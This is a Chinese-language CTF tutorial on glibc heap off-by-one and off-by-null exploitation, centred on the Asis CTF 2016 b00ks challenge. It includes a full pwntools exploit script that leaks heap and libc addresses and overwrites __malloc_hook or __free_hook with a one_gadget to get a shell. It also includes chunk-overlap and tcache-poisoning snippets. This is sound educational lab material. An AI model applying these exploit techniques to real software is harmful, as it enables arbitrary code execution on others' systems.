Off-By-One
Off-By-One即可以产生一个字节的溢出,Off-By-One中又包括Off-By-Null(poison_null_byte),即溢出的一个字节被设置为0,多产生于strcpy或自定义输入函数中,将末尾置空。
一般通过修改size字段进行漏洞利用。
Off-By-One
利用场景1(控制heap_list):
程序中存在Off-By-One漏洞会溢出修改heap_list(即bss上存放堆指针的)
利用思路:
- 首先在某块区域处构造一个fake_chunk块。
- 通过Off-By-One(null)溢出控制bss的最后一个字节指向构造的区域。
- 通过heap_list即可实现对fake_chunk块的读写操作。
**例题:Asis CTF 2016 b00ks**
漏洞点在于菜单之前输入user_name时,会产生off-by-null漏洞,而user_name后紧跟着的是heap_list。
add函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| printf("\nEnter book name size: "); __isoc99_scanf("%d", &size); if ( size < 0 ) goto LABEL_2; printf("Enter book name (Max 32 chars): "); name_addr = malloc(size); if ( !name_addr ) { printf("unable to allocate enough space"); goto LABEL_17; } if ( (unsigned int)my_read(name_addr, size - 1) ) { printf("fail to read name"); goto LABEL_17; } size = 0; printf("\nEnter book description size: "); __isoc99_scanf("%d", &size); if ( size < 0 ) { LABEL_2: printf("Malformed size"); } else { description_addr = malloc(size); if ( description_addr ) { printf("Enter book description: "); if ( (unsigned int)my_read(description_addr, size - 1) ) { printf("Unable to read description"); } else { v2 = sub_B24(); if ( v2 == -1 ) { printf("Library is full"); } else { v3 = malloc(0x20uLL); if ( v3 ) { *((_DWORD *)v3 + 6) = size; *((_QWORD *)off_202010 + v2) = v3; *((_QWORD *)v3 + 2) = description_addr; *((_QWORD *)v3 + 1) = name_addr; *(_DWORD *)v3 = ++unk_202024; return 0LL; } printf("Unable to allocate book struct"); } } }
|
分析add函数,malloc了两块size大小的chunk,之后malloc了一个结构体,分别存放序号、name_addr、description_addr、description_size。
edit会修改description_addr指向的内容。
del会free掉结构体内容,并将heap_list上的指针置空。
show会输出所有(非free的)结构体内容。
利用过程:
首先user_name填充满0x20字节,由于程序逻辑是在menu之前输入user_name且add中会将heap_list赋值,因此add完成后heap_list的赋值会将user_name结尾的\x00清空,此时可以通过show函数打印出heap_list指向的内容,即堆地址。
获得堆地址0x55775f0e4130之后,在0x55775f0e4100处伪造一个索引为1的结构体,伪造name_addr和description_addr为我们可以利用的地址,用来任意读写。
1
| edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x180+0x50)+p64(0x20))
|
伪造结果:
伪造后,下边的是实际的结构体1,上边的是我们伪造的结构体1,由于off-by-null,会把heap_list末尾的0x30置为00,因此list指向了 我们构造的fake_struct1,图中伪造的两个地址我们就可以控制了。
- 160和1f0为下方两个chunk(chunk2)的地址,一个0x80size,一个0x60size,将chunk2free,160处的chunk会显示出main_arena地址,可以通过调用show(由于list[0]指向了fake_struct,此时调用show会打印160和1f0出的地址),这样就泄露了libc。
- 1f0处的链入fastbin,可以通过edit(1)修改fd指向malloc_hook - 0x23实现fastbin attack,不过one_gadget打不通,需要realloc调栈。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| from pwn import *
libc = ELF("./libc-2.23.so") p = process("./book") def add(name_size,name,content_size,content): p.sendlineafter('> ','1') p.sendlineafter('size: ',str(name_size)) p.sendlineafter('chars): ',name) p.sendlineafter('size: ',str(content_size)) p.sendlineafter('tion: ',content) def free(index): p.sendlineafter('> ','2') p.sendlineafter('delete: ',str(index)) def edit(index,content): p.sendlineafter('> ','3') p.sendlineafter('edit: ',str(index)) p.sendlineafter('ption: ',content) def show(): p.sendlineafter('> ','4')
def change(author_name): p.sendlineafter('> ','5') p.sendlineafter('name: ',author_name)
p.sendline('a' * 0x1f + 'b') add(0xd0,"aaaa",0x20,"bbbb")
show() p.recvuntil('aaab') heap_addr = u64(p.recv(6).ljust(8,b'\x00')) success("heap_addr: " + hex(heap_addr))
add(0x80,'cccccccc',0x60,'dddddddd') add(0x20,'eeeeeeee',0x20,'ffffffff')
free(2)
edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90)+p64(0x20))
change('b' * 0x20)
gdb.attach(p) pause() show() libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-88-0x10-libc.symbols['__malloc_hook'] success("libc_base: " + hex(libc_base))
__free_hook = libc_base+libc.symbols['__free_hook'] __malloc_hook = libc_base+libc.symbols['__malloc_hook'] realloc = libc_base+libc.symbols['realloc'] og = [0x45216,0x4526a,0xf02a4,0xf1147] shell = libc_base+og[1] success("realloc: " + hex(realloc)) success("__malloc_hook: " + hex(__malloc_hook)) success("__free_hook: " + hex(__free_hook)) success("shell: " + hex(shell))
edit(1,p64(__malloc_hook - 0x23)) add(0x60,'aaaaaaaa',0x60,b'a'*(0x13-8)+p64(shell)+p64(realloc+14))
p.interactive()
|
方法二:也可以不通过fastbin attack,在伪造fake_struct的时候,第一个addr不变还是指向unsortebin_chunk用来泄露libc,第二个chunk可以不用指向fastbin,而是指向struct3,这样edit(1)的时候会修改struct3的内容,修改struct3的内容为free_hook后,通过edit(3)再修改为one_gadget。
1 2 3 4 5 6 7 8 9
|
edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x180+0x50)+p64(0x20))
edit(1,p64(__free_hook) * 2) edit(3,p64(shell)) free(3)
|
利用场景2(堆交叉):
当程序可以溢出一个字节时,我们可以构造如下形式的chunk,实现overlap(重叠)
1 2 3 4 5 6 7 8 9
| +------------+ | | <-- free 的 unsortedbin 或是 smallbin chunk (因为此时 fd 和 bk 指向合法指针,才能够进行 unlink) +------------+ | ... | <-- 任意 chunk +------------+ | | <-- 进行溢出的 chunk +------------+ | vuln | <-- 被溢出的 chunk,大小为 0x_00 (例如 0x100, 0x200……) +------------+
|
1 2 3 4 5
| add(0x410) add(0x28) add(0x18) add(0x4f0) add(0x10)
|
free(chunk0),并入unsorted bin
通过off-by-null修改chunk2,使chunk3 pre_size为0x470,size为0x500。
1
| edit(2, b'a' * 0x10 + p64(0x470))
|
free(chunk3),此时,堆管理器检查pre_size为0x470,向上找到chunk0的位置,发现chunk0为free_chunk,因此将chunk0-3进行合并。
之后,首先分配 0 的大小,使得 libc 地址被写到 1 里,就可以泄露出libc地址(因为1没被free,堆块交叉,出现uaf),然后将 2 分配出来,写入需要的内容,就可以 fastbin attack 了。
对于含tcache的题目:
add(chunk0),add(chunk1),
此时,之前合并的堆会拆分一部分,通过edit(0)可以修改chunk1的fd,此时chunk1的fd位于list中,因此可以构造list中fd->target。
1
| edit(0, b'a' * 0x410 + p64(0) + p64(0x31) + p64(target))
|
再次add两次后获得目标内存。